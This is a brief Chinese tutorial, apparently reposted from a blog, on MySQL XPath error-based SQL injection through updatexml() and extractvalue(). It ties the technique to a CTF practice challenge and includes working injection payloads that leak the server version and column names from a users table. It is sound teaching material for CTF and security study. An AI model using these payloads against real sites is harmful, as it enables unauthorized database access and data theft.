SQL注入—Xpath报错注入

updatexml() 函数报错注入原理

• updatexml()函数定义

　　　　updatexml(XML_document, XPath_string, new_value);

1. 1. 第一个参数：XML_document是String格式，为XML文档对象的名称；
   2. 第二个参数：XPath_string（XPath格式的字符串）；
   3. 第三个参数：new_value, String格式，替换查找到的符合条件的数据；

• updatexml()函数运行机制

　　　　该函数对XPath_string进行查询操作，如果符合语法格式要求，则用第三个参数替换，不符合语法格式要求，则会报错并带出查询的结果。

• 报错执行

　　　　select updatexml(1,concat(0x7e,(select @@version),0x7e),1);

　　　　结果：

　　　　ERROR 1105 (HY000): XPATH syntax error: ‘~5.7.26~’

　　　　其中 0x7e 为十六进制字符 ~ 用于分隔字符串

• payload:

　　　　and updatexml(1,concat((select group_concat(0x7e,column_name) from users)),1);

extractvalue()函数报错注入原理

• extractvalue()函数定义

　　　　extractvalue(XML_document, XPath_string);

1. 1. 第一个参数：XML_document是String格式，为XML文档对象的名称；
   2. 第二个参数：XPath_string（XPath格式的字符串）；
   3. 作用：从目标XML中返回包含所查询值的字符串；

• extractvalue()函数运行机制

　　　　从目标xml中返回包含所查询值的字符串。

• payload:

　　　　and extractvalue(1,concat((select group_concat(0x7e,column_name) from users)));

例题：https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]HardSQL

原文地址：http://www.cnblogs.com/haokaiyuan/p/16889543.html